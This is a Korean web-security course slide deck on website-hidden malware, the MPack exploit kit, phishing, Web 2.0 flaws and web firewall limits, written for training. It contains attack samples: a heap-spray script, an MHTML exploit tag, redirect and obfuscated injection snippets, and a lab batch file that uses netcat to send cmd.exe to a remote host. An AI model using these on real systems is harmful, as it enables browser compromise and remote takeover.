section iii 웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17. 웹 사이트...
DESCRIPTION
Section III 웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17. 웹 사이트 악성코드 은닉 18. 웹 해킹 툴 (Mpack) 19. 피싱 20. Web2.0 의 취약점 21. 홈 페이지변조 감시 22. 웹 보안 솔루션의 한계. 학습 포인트 1. 최근 웹 해킹 기법에 대한 이해 2. 최근 빠르게 성장하는 Web2.0 의 보안 문제점 3. 웹 방화벽에 대한 이해 및 효과적 활용방안. 17. 악성코드 은닉의 이해. - PowerPoint PPT PresentationTRANSCRIPT
1
Section III 웹 해킹 고도화 기법과 웹 방화벽 보안상 향상
17. 웹 사이트 악성코드 은닉
18. 웹 해킹 툴 (Mpack)
19. 피싱
20. Web2.0 의 취약점
21. 홈 페이지변조 감시
22. 웹 보안 솔루션의 한계
2
학습 포인트
1. 최근 웹 해킹 기법에 대한 이해
2. 최근 빠르게 성장하는 Web2.0 의 보안 문제점
3. 웹 방화벽에 대한 이해 및 효과적 활용방안
3
4
17. 악성코드 은닉의 이해
5
구 분 설 명
Adult 성인 및 포르노 관련 사이트
Music 유명 아티스트 및 밴드 관련 사이트
News 정치 및 스포츠 , 엔터테인먼트 관련 사이트
User Content Blog 와 같은 사용자 저작물 사이트
Warez 해킹 및 소프트웨어 크랙 툴 등
Defaced 해킹을 당했던 시스템 등 ( 홈페이지 변조 등 )
Typo유명사이트의 주소 입력 오타로 인해 접근되는 사이트 예 ) www.googel.com 등
17. 악성코드 은닉의 이해 - 악용대상
6
* MHTML 프로토콜 핸들러 취약점 샘플
<object width=0 height=0 style=display:none;type=text/xscriptlet"
Data=mk@MSITStore:mhtml:c:\nosuchfile.mht!http://www.XXX.com/exploit._chm::exploi
t.html>
</object>
○ MHTML URL Processing 취약점 악용
(1) Internet Explorer 는 프로토콜 핸들러를 통해 MHTML 형식의 파일에 접근가능(2) 그러나 IE 가 프로토콜 핸들러 (mk@MSITStore) 통해 접속할 수 없는 경우 (3) 대체 주소로 접근하고 실행
아래 샘플코드를 보면 로컬 시스템에 c:\nosuchfile.mht 파일이 존재하지 않을 때 원격지 http://www.XXX.com/exploit._chm::exploit.html 파일을 로컬 파일로 실행시킬 수 있다 .
17. 악성코드 은닉의 이해 - 악용사례
7
○ MS 웹 브라우저 7 버전 취약점 악용
홈 페이지를 해킹하여 페이지 중간에 링크 (Iframe 태그 ) 를 걸어 외부 URL 접속을 유도함
17. 악성코드 은닉의 이해 - 악용사례
8
○ MS 웹 브라우저 7 버전 취약점 악용 ( 계속 )
17. 악성코드 은닉의 이해 - 악용사례
hankyong.cn/css/js.htm 접속시 아래와 같은 코드가 포함된 사이트로 접속되고
웹 브라우저의 취약점을 악용한 버퍼오버플로우 공격의 일종임
<script language="javascript">function spray(sc){var addre = 0x0a0a0a0a;var fucker
= unescape;
var doit = fucker(sc);var heapBlockSize = 0x100000;var payLoadSize = doit.length *
2;var spraySlideSize = heapBlockSize - (payLoadSize+0x038);var spraySlide =
fucker("%u0a0a%u0a0a");spraySlide =
getSpraySlide(spraySlide,spraySlideSize);heapBlocks = (addre -
0x100000)/heapBlockSize;memory = new Array();for (i=0;i<heapBlocks;i++){
memory[i] = spraySlide + doit;}}function getSpraySlide(spraySlide, spraySlideSize)
{while //seemen
(spraySlide.length*2<spraySlideSize){ spraySlide += spraySlide;}spraySlide =
spraySlide.substring(0,spraySlideSize/2);return spraySlide;}</script>
9
bufSFP
RET
ESP
EBP
EIP
스택의 모습
○ MS 웹 브라우저 7 버전 취약점 악용 ( 계속 )
17. 악성코드 은닉의 이해 - 악용사례
void main(void){
char buf[5];char attack=aa..a;// aa 를 10 개 입력strcpy(buf, attack);
}
bufbufbufbuf
cmd.exe 실행
메모리 구조
10
17. 악성코드 은닉의 이해 – Redirect 기법
메타태그
<html><head><meta http-equiv="refresh" content="0;URL=http://www.maliciouscode.com/"></head><body><a href="http://www.xxx.com/cgi-bin/whole.cgi?podstavos="></a></body></html>
11
17. 악성코드 은닉의 이해 – Redirect 기법
자바 스크립트 Location 태그
<script>location = "http://www.maliciouscode.com";
</script>
Iframe 태그
<iframe src=“http://www.malicious.com/” width=xxx>hello world!!</iframe>
12
17. 악성코드 은닉의 이해 – Redirect 기법
Unescape() 및 unescape() 함수를 이용한 URI 인코딩 (obfuscated 기법 )
escape('&#$%^')==>%26%23%24%25%5E
unescape('%26%23%24%25%5E')==>&#$%^
<script language=“javascript”>
document.write(unescape(“%3Cscript….”);
</script>
13
17. 악성코드 은닉의 이해 – Redirect 기법
obfuscated 기법
01: <SCRIPT LANGUAGE="JavaScript">
02: {var temp="",i,c=0,out="";
03 :
str="60!115!99!114!105!112!116!32!116!121!112!101!61!34!116!101!
120!116!47!106!97!118!97!115!99!114!105!112!116!34!62!13!10!105!102!32!40!
116!111!112!46!108!111!99!97!116!105!1!108!111!99!97!116!105!111!110!46!
104!114!101!102!32!61!32!100!111!99!117!109!101!112!";
04: l=str.length;
05: while(c<=str.length-1)
06: {while(str.charAt(c)!='!')temp=temp+str.charAt(c++);
07: c++;
08: out=out+String.fromCharCode(temp);
09: temp="";}document.write(out);
10: }
11: </SCRIPT>
14
17. 악성코드 은닉의 이해 – Redirect 기법
obfuscated 코드가 포함된 사이트 분석 (1)
해당 파일을 클릭하여 사이트로 접속 – 위험한 방법
URL 확인
15
17. 악성코드 은닉의 이해 – Redirect 기법
obfuscated 코드가 포함된 사이트 분석 (2)
이벤트를 화면으로 출력하는 형태로 변경
16
17. 악성코드 은닉의 이해 – Redirect 기법 (ARP Spoofing)
17
17. 악성코드 은닉의 이해 – Redirect 기법 (ARP Spoofing)
감염의 특징
(1)특정서버의 권한을 획득하고 악성 프로그램 설치
(2)특정 서버에 설치된 악성코드가 주기적인 MAC 주소 브로드캐스팅을 통해 웹 서버를 가장함
( 특정서버는 자신의 MAC 주소를 웹 서버의 MAC 주소라고 속이는 패킷을 LAN 상에
전송 )
(3) 사용자의 요청된 데이터를 변조하여 Response 에 Iframe 악성 태그 삽입
공격자철수 PC 영희 PC
18
17. 악성코드 은닉의 이해 – Redirect 기법
arp 프 로 토 콜 (static,
dynamic)Who has the following ip :
141.23.56.23
It’s meMy mac is a46e…
19
17. 악성코드 은닉의 이해 – Redirect 기법
arp 프 로 토 콜 (static,
dynamic)
20
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(1) 파일을 만들어 직접 접속 ( 단 offline 상태에서 수행 )
(2) 프록시 도구를 이용하여 생성파일 클릭 – 자바스크립트 분석 및 URL
접속
(3) 프로그램 소스 디버깅 툴을 이용한 분석
21
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(3) 프로그램 소스 디버깅 툴을 이용한 분석 ( 계속 )
22
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(4) 솔루션을 이용한 악성코드 탐지 기법 – Virus 검색 사이트
23
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(5) 솔루션을 이용한 악성코드 탐지 기법 – 허니팟
- High Interaction HoneyPots
: 침입 이벤트 발생 시 시스템 변화를 모니터링하여 악성코드 탐지
- Low Interaction HoneyPots
: 사전 등록된 패턴을 이용하여 악성코드 탐지
그림 . Spybye 구성도
24
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(5) 솔루션을 이용한 악성코드 탐지 기법 – 허니팟 (Low Interactions HoneyPots)
25
17. 악성코드 은닉의 이해 – 악성코드 분석 방법(5) 레지스트리 분석을 통한 악성코드 탐지 기법
① HKEY_CLASSES_ ROOT이 곳에 저장되는 것은 OLE 데이터와 파일의 각 확장자에 대한 정보 , 각 파일과 프로그램간의 연결에 대한 정보가 들어 있다 . HKEY_CLASSES_ROOT 안에는 파일의 확장자들에대한 sub-tree 로 구성되는데 일반적으로 각 확장자는 파일 타입과 연결되어 있음
② HKEY_CURRENT_ USER윈도우가 설치되어 있는 컴퓨터의 환경에 대한 설정이 담겨 있는 곳으로 하나의 윈도우를여러 명이 사용할 경우 , 사용자들이 각각에 대한 ID 와 패스워드를 이용하여 윈도우에 접속했을 때 접속한 사용자가 맞추어 놓은 설정을 반영하기 위한 곳이다 .
③ HKEY_ LOCAL_MACHINE컴퓨터에 설치된 하드웨어를 구동 시키는데 필요한 드라이버나 설정 사항에 관련된 정보를 모아 둔 곳이다 . 프린터와 화면 설정 등과 같이 컴퓨터를 켜고 윈도우를 부팅할 시에 필요한 설정 , 컴퓨터에 설치된 하드디스크 드라이브나 플로피 드라이브 , 플러그앤 플레이를 지원하는 하드웨어에 관한 정보 , 디바이스 드라이버나 시스템에서 사용하는 소프트웨어에 관한 전반적인 정보를 담고 있다 .
26
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(5) 레지스트리 분석을 통한 악성코드 탐지 기법
④ HKEY_ USERHKEY_CURRENT_USER 에 저장된 정보와 데스크 탑 설정 , 네트워크 연결 등의 정보가 저장되어 있으며 USER.DAT 에 저장한다 . 즉 , 윈도우를 사용하는 사람이 한 사람일 경우 모든설정 사항이 HKEY_CURRENT_USER 의 내용과 일치하게 된다 .
⑤ HKEY_CURRENT_CONFIG레지스트리 중에서 가장 단순한 부분으로 HKEY_LOCAL_MACHINE 에 서브로 존재하는Config 의 내용이 담겨 있다 . 즉 , 디스플레이와 프린터에 관한 설정만을 볼 수 있다 .
⑥ HKEY_ DYN_ DATA윈도우 2000 에서는 없어진 레지스트리로 자주 사용하는 하드웨어 장치의 정보를 따로 저장하는 윈도우의 모니터 역할의 정보가 담겨있다 .
27
윈도우 부팅 시 프로그램 자동 시작 위치
HKLM/Software/Microsoft/Windows/CurrentVersion/Run
HKLM/Software/Microsoft/Windows/CurrentVersion/RunOnce
HKLM/Software/Microsoft/Windows/CurrentVersion/RunOnceEx
HKLM/Software/Microsoft/Windows/CurrentVersion/RunServices
HKLM/Software/Microsoft/Windows/CurrentVersion/RunServicesOnce
HKLM/Software/Microsoft/Windows/CurrentVersion/Windows/Load
HKLM/Software/Microsoft/Windows/CurrentVersion/Windows/Run
HKLM/Software/Microsoft/Windows/CurrentVersion/Winlogon/Userinit
HKCU/Software/Microsoft/Windows/CurrentVersion/Run
HKCU/Software/Microsoft/Windows/CurrentVersion/RunOnce
HKCU/Software/Microsoft/Windows/CurrentVersion/RunOnceEx
HKCU/Software/Microsoft/Windows/CurrentVersion/RunServicesOnce
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(5) 레지스트리 분석을 통한 악성코드 탐지 기법
28
아래의 레지스트리 항목에 등록되어 , 윈도우 시작 시 자동 실행
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Run\"Microsoft Autorun14" = "%System%\ztinetzt.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Run\"Microsoft Autorun9" = "%System%\Ravasktao.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Run\"Microsoft Autorun7" = "%System%\nwiztlbu.exe"
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(5) 레지스트리 분석을 통한 악성코드 탐지 기법
이름 : W32.Ogleon.A 는 이동식 저장 장치를 통해 확산되는 웜
발견됨 : 2007년 6 월 26 일
업데이트됨 : 2007년 6 월 28 일 5:57:58 AM
유형 : Worm
감염 길이 : 282,491 바이트
영향을 받는 시스템 : Windows 2000, Windows 95, Windows 98, Windows Me,
Windows NT, Windows Server 2003, Windows XP
29
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(5) 레지스트리 분석을 통한 악성코드 탐지 기법 – Autoruns 을 통한 시작 위치 확인
30
파일 확장자 정보 연결을 결정하는 HKEY_CLASSES_ROOT 위치의 값을 조작
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(6) 레지스트리 변조
HKEY_CLASSES_ROOT( 파일 확장자에 따른 프로그램 연결 정보 포함 )
[HKEY_CLASSES_ROOT\exefile\shell\open\command] @=""%1" %*"
[HKEY_CLASSES_ROOT\comfile\shell\open\command] @=""%1" %*"
[HKEY_CLASSES_ROOT\batfile\shell\open\command] @=""%1" %*"
[HKEY_CLASSES_ROOT\htafile\shell\open\command] @=""%1" %*"
[HKEY_CLASSES_ROOT\piffile\shell\open\command] @=""%1" %*"
[HKEY_LOCAL_MACHINE\CLASSES\batfile\shell\open\command] @=""%1"
%*"
[HKEY_LOCAL_MACHINE\CLASSES\batfile\shell\open\command] @=""%1"
%*"
[HKEY_LOCAL_MACHINE\CLASSES\batfile\shell\open\command] @=""%1"
%*"
[HKEY_LOCAL_MACHINE\CLASSES\batfile\shell\open\command] @=""%1"
%*"
[HKEY_LOCAL_MACHINE\CLASSES\batfile\shell\open\command] @=""%1"
%*"
31
HKEY_LOCAL_MACHINE\CLASSES\batfile\shell\open\command 정보를 조작하여로컬의 원도의 쉘 (cmd) 을 공격자에게 전송 (TCP 6000 연결 )
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(6) 실습 – 레지스트리 변조
로컬
사용자가 *.bat 실행 시자동으로 start.bat 실행
TCP 6000 cmd.exe
공격자Listening 6000번
32
원본 :[HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command] @="\"%1\" %*"
변경 : C:\start.bat “%1” %*
BAT 확장자를 가진 파일 실행 시 윈도우 쉘 (cmd) 을 TCP 6000번으로 전송
start.bat 내용
@echo off
Start /I /MIN c:\nc 1.1.1.1 6000 –e cmd.exe
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(6) 실습 – 레지스트리 변조
많은 실행 프로세스들을 가지고 있으며 이러한 프로세스 중에는 공격자가 실행시켜 놓은 악성프로그램이 실행되고 있거나 흔적이 남아 있을 수 있으니 자세히 확인해 볼 필요 있음
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 분석도구의 필요성
34
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 분석도구 종류
35
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 분석도구 - Icesword
프로세스 , 네트워크 , 시작 프로그램 등의 상세한 정보를 제공하여 악성코드 탐지에 사용
36
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 분석도구 - GMER
시스템 스캔 기능을 통해 악성코드 사용여부를 검사할 수 있음
37
Question: How to remove Rustock rootkit ? ?
Answer: When GMER detects hidden service click "Delete the service" and answer YES to all questions.
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 분석도구 - GMER
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 의심스런 프로세스 분석 방법 (1)
프로세스의 실행 위치를 파악하여 프로그램의 목적 ( 개발사 , 설치 위치 , 프로그램의 상세한 정보 등 ) 을 파악하여 의심스런 프로세스 여부를 파악할 수 있음
프로세스 실행 위치
IceSword
분석도구에서 확인된 프로세스의 용도를 알 수 없는 경우
http://www.liutilities.com/products/wintaskspro/processlibrary/
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 의심스런 프로세스 분석 방법 (2)
http://www.file.net
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 의심스런 프로세스 분석 방법 (3)
System
C:\Program Files\Java\jre1.5.0_11\bin\jusched.exe
C:\WINDOWS\system32\svchost.exe
C:\Program Files\Fasoo DRM\fph.exe
C:\WINDOWS\system32\WinSPMsv.exe
C:\WINDOWS\system32\ctfmon.exe
C:\Program Files\Adobe\Acrobat 6.0\Distillr\acrotray.exe
C:\WINDOWS\system32\smss.exe
C:\WINDOWS\system32\csrss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\scvhost.exe
C:\WINDOWS\system32\igfxtray.exe
C:\WINDOWS\system32\hkcmd.exe
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 의심스런 프로세스 분석 방법 (4)
File.net 검색 결과
If scvhost.exe is located in a subfolder of C:\Windows\System32 then the
security rating is 71% dangerous. File size is 1682432 bytes.
If scvhost.exe is located in a subfolder of
"C:\Documents and Settings" then the security rating is 39% dangerous.
File size is 27648 bytes (50% of all occurrence), 307678 bytes.
17. 악성코드 은닉의 이해 – 악성코드 분석 방법
(7) 의심스런 프로세스 분석 방법 (5)
18. 웹 해킹 툴 (Mpack)
Mpack 을 통한 감염 경로
Mpack Server
18. 웹 해킹 툴 (Mpack)
Mpack 의 공격 과정
(1) MPack(v0.90) 은 스스로 웹 사이트 취약점을 찾거나 공격하는 프로그램은 아님
(2) MPack 프로그램이 설치된 웹 사이트에 접속한 Client 브라우저의 HTTP_USER_AGENT 헤더를 분석하여 Client OS, 브라우저 종류 /버전 그리고 서비스 팩 버전 등을 확인한다 .
(3) MPack 은 분석된 Client 정보를 기반으로 , 해당 Client 에 존재할 수 있는 취약점에 해당하는 공격 코드를 Client 웹 브라우저에 응답 데이터로 전송한다 .
ROT-5 적용- MS06-014 : MDAC Code Execution- MS06-044 : Microsoft Management Console Code Execution- MS06-071 : XML overflow XP/2k3
ROT-5 미 적용- MS06-006 : Firefox 1.5.x ?Opera 7.x – Window Media Player Code Execution- MS06-057 : Window Explorer Code Execution - WebViewFolderIcon overflow- WinZip ActiveX overflow- QuickTime overflow- MS07-017 : ANI overflow
45
18. 웹 해킹 툴 (Mpack)
Mpack 의 공격 과정
46
구분 역할 관련 파일 기타 관련 파일
File WriteC:\program files\Internet Explorer\IEXPLORE.EXE
C:\syswcon.exe
process CreatedC:\program files\Internet Explorer\IEXPLORE.EXE
C:\syswcon.exe
file Write C:\syswcon.exeC:\windows\system32\Drivers\uzcx.exe
process TerminatedC:\program files\Internet Explorer\IEXPLORE.EXE
C:\syswcon.exe
registry SetvalueKeyC:\windows\system32\Drivers\uzcx.exe
HKCU\Software\ewrew\Uzcx\main\cid
file WriteC:\windows\system32\Drivers\uzcx.exe
C:\document and settings\cseifert\local settings\temporary Internetfiles \conten.IE5\OPUJWX63\benupd32[1].exe
file writeC:\windows\system32\Drivers\uzcx.exe
C:\windows\benupd32.exe
process CreatedC:\windows\system32\Drivers\uzcx.exe
C:\windows\benupd32.exe
registry SetvalueKeyC:\windows\system32\Drivers\uzcx.exe
HKCU\software\ewrew\uzcx\main\term
process Created C:\windows\benupd32.exe C:\windows\benupd32.exe
file Write -C:\Documents and Settings\cseifert\local settings\Temp\clean\336s7.dll
process Created C:\windows\benupd32.exe C:\windows\system32\regsvr32.exe
registry SetvaluKey C:\windows\explorer.exeHKLM\SYSTEM\ControlSet001\Services\Idrsvc\Parameters\serviceDLL
18. 웹 해킹 툴 (Mpack)Mpack 감염증상
47
19. 피싱
1) 취약한 사이트 시스템 권한을 획득하여 가짜 웹 사이트를 운영한다 .
2) 무차별 메일 발송 ( 개인정보 만료가 되었으니 정보를 업 데이트 !! )
3) 사용자 메일의 링크 사이트 클릭
4) 사용자 개인 정보 입력 , 공격자는 해당 정보를 이용하여 금융 거래를 한다 .
피싱 (Private Information + Fishing) 개념
48
19. 피싱피싱 (Private Information + Fishing) 개념
49
19. 피싱URL 주소 변조
사용자는 앞단 링크로 보이지만 실제로는 @ 뒤에 URL 페이지를 방문하게 된다 .
예 ) http://www.XXX.com%01%[email protected]/index.html
-
http://www.google.com/url?q=http://www.evenstar.co.kr&sa=X&oi=unauthorizedre
direct
&ct=targetlink&ust=1215765263970950&usg=AFQjCNEG9cks6_zJI3UdVOUXsreUZ
y_DAQ
URL Redirection 링크
http://www.googel.com ( 원본 : www.google.com)
URL Typo
50
<script language="JavaScript">e = '0x00' + '5F';str1 = "%E4%BC%B7%AA%C0%AD%AC%A7%B4%BB%E3%FE%AA%B7%AD%B7%BE%B7%B4%B7%AC%A7%E6%B8%B7 %BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%AD%AE%BD%E3%FE%B8%AC%AC%B0%E6%F1 %F1%B0%AE%BF%BC%B1%E9%F2%BD%B1%B3%F1%AC%AE%BA%F1%FE%C0%A9%B7%BC%AC%B8%E3%EF %C0%B8%BB%B7%B9%B8%AC%E3%EF%E2%E4%F1%B7%BA%AE%BF%B3%BB%E2%E4%F1%BC%B7%AA%E2";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>
19. 피싱URL Obfuscation
- http://www.pаypal.com ( 원래 http://www.paypal.com)
(#1072 는 십진수로 표기이며 문자열 a 를 나타냄 )
IDN(Internationalized Domain Names 은 영문자 대신 각 지역 언어의 문자를 그대로 사용하는 다국어 도메인 이름이다 .
51
20. Web2.0 취약점
Web 2.0 은 O'Reilly 와 Medialive International 의 컨퍼런스 브레인스토밍 세션에서 Dale Dougherty
가 Web 2.0 을 제안한 것에서 제안됨
Web 1.0 과 2.0 의 차이
Web 2.0 개념
52
해당 구조의 특징은 현재 사용하는 자바스크립트와 동일하게 웹 브라우저에 종속된 컴포넌트를
통해 웹 서버와 통신을 송 . 수신 함
• Presentation layer: HTML 문서 구성 역할 (HTML/CSS)
• Logic & Process: Ajax 컴포넌트가 존재 및 여러 형태의 자바 스크립트 운영
• Transport: XMLHttpRequest 컴포넌트 존재 및 비동기 통신 방식으로 웹 서버와 XML
데이터 교환
• 웹 서버 (Corporate Infrastructure) 에는 웹 컨텐츠 및 애플리케이션 , DB 등이 운영된다 .
20. Web2.0 취약점
운영 방식
Web 2.0 개념
53
20. Web2.0 취약점Web 2.0 보안 이슈
(1)웹 스캐너로 분석이 가능한가 ?
- URL 수집을 위해서는 html 파싱이 필요함
- 그러나 Web2.0 기반은 자바스크립트 형태로 html 태그를 연결하고 있음
(2)SQL Injection 과 같은 취약점이 발생되고 있다 .
- HTTP 요청 (GET, POST) 정보 노출
- 원격 코드 삽입 및 조작
- SQL Injection 및 XSS 위험성
- 설계 및 응용 프로그램 로직 오류로 인한 문제점
54
* 게시판 글 처리 자바스크립트 함수
function ViewContnet(articleidx)
{
location.href = "m06_notice04View.asp?BBSIdx=611&page=1
&modesearch=&searchkind=&searchstring=&articleidx=" +
articleidx;
}
20. Web2.0 취약점20. Web2.0 취약점Web 2.0 보안 이슈
(1)웹 스캐너로 분석이 가능한가 ?
55
20. Web2.0 취약점Web 2.0 보안 이슈
(1)웹 스캐너로 분석이 가능한가 ?
Web2.0 에서도 자바스크립트를 이용하여 URL 링크를 작성한다 .
* Web 2.0 으로 구성된 게시판 글 처리 함수function getNews(){
var http;http = new XMLHttpRequest();http.open("GET", " getnews.aspx?date=09262006",
true);http.onreadystatechange = function(){
if (http.readyState == 4) { var response = http.responseText; document.getElementById('result').innerHTML = response; }
}http.send(null);
}
56
20. Web2.0 취약점Web 2.0 보안 이슈
(2) SQL Injection 과 같은 취약점이 발생되고 있다 .
57
20. Web2.0 취약점Web 2.0 보안 이슈
(2) SQL Injection 과 같은 취약점이 발생되고 있다 .
•validation.js 로직
Function userval(user)
{
Var userRegxp = /^([a-zA-Z]+)$/; // 영문 소문자와 대문자를 입력할 수 있다 .
if(userRegxp.test(user) ¡=true)
return false;
else
return true;
}
자바스크립트 우회 시도 가능
58
21. 홈 페이지 변조 감시
http://www.zone-h.org/index.php? option=com_attacks&Itemid=43&filter=1&filter_domain=go.kr
59
* 홈페이지 변조 로그
xxxx-10-28 22:12:40 85.102.168.77 - X.X.X.X 80 PUT /turkish.htm - 201
Microsoft+Data+Access+Internet+Publishing+Provider+DAV+1.1
xxxx-10-28 22:12:42 85.102.168.77 - X.X.X.X 80 GET /index.asp - 200
Microsoft+URL+Control+-+6.00.8169
xxxx-10-28 22:13:56 85.102.168.77 - X.X.X.X 80 GET /spacer.gif - 404 Mozilla/4.0+
(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1)
xxxx-10-28 22:14:21 213.219.122.11 - X.X.X.X 80 GET /turkish.htm - 200 Wget/1.9.1
xxxx-10-28 22:14:21 213.219.122.11 - X.X.X.X 80 GET /robots.txt - 404 Wget/1.9.1
xxxx-10-28 22:14:21 213.219.122.11 - X.X.X.X 80 GET /spacer.gif - 404 Wget/1.9.1
xxxx-10-28 22:14:46 202.122.243.167 - X.X.X.X 80 GET /turkish.htm - 200
libwww-perl/5.803
21. 홈 페이지 변조 감시
60
허용범위
웹 방화벽은 URL 학습과정을 통해 허용 가능한 범위를 설정하여 허용여부를 결정한다 .
AttackeAttackerr
공격 삽입
공격 시도
22. 웹 보안 솔루션의 한계
61
22. 웹 보안 솔루션의 한계
프록시 구조
인라인 구조
웹 방화벽 구성 방식
62
22. 웹 보안 솔루션의 한계
dosearch.asp?type=xxxx&string=xxxx&submitx=xxxx&submitx=xxxx
63
22. 웹 보안 솔루션의 한계기본 설정 및 설계오류 등으로 웹 방화벽 적용 후에도 해킹이 발생될 수 있다 . !!
업무 설계 오류 우회 시도 (1)
http://www.xxxx.co.kr/info/view.php?user_id=1000
AttackerAttacker
http://www.xxxx.co.kr/info/view.php?http://www.xxxx.co.kr/info/view.php?user_iduser_id=1010=1010
user_id user_id 변경변경
64
http://www.xxxx.co.kr/news/view.php?news_id=1000
http://www.xxxx.co.kr/news/edit.php?news_id=1000
view.php 변경
22. 웹 보안 솔루션의 한계기본 설정 및 설계오류 등으로 웹 방화벽 적용 후에도 해킹이 발생될 수 있다 . !!
업무 설계 오류 우회 시도 (2)
AttackerAttacker
65
자바 스크립트 우회
Index.asp
<SCRIPT language="JAVASCRIPT">
function input_Check()
{ …. 중략 …
• 사이트마다 다양한 형식으로 정형화 되어 있지 않음 ( 보안 패턴화 및 룰을 작성 할 수 없다 . )• 웹 브라우저에서만 사용자 요청을 점검한다 .
자바 우회
22. 웹 보안 솔루션의 한계기본 설정 및 설계오류 등으로 웹 방화벽 적용 후에도 해킹이 발생될 수 있다 . !!
AttackerAttacker
66
NO 발견된 취약점취약점 해결 방식
① 프로그램 수정 ② 설정 변경 ③ 내용 삭제 ④ 웹 방화벽 적용
1 관리자 페이지 노출 - - - 접근 통제 (IP 통제 ) 룰 적용
2 기본 설치 페이지 노출 - - 삭제 CGI 패턴 룰 적용
3 백업 파일 노출 - - 삭제 백업 확장자 룰 적용
4 SQL Injection 프로그램 에러 처리
500번 에러 처리 - SQL Injection
5 다운로드 취약점 ../ 문자열 필터일 - - 다운로드 패턴 적용
6 업 로드 취약점 JSP 확장자 필터링 - - 업로드 위치 파악 필요
7 파라미터 조작을 통한인증 우회 업무 로직 변경 - - -
확인 및 측정을 통한 취약성 해결 방식 결정
22. 웹 보안 솔루션의 한계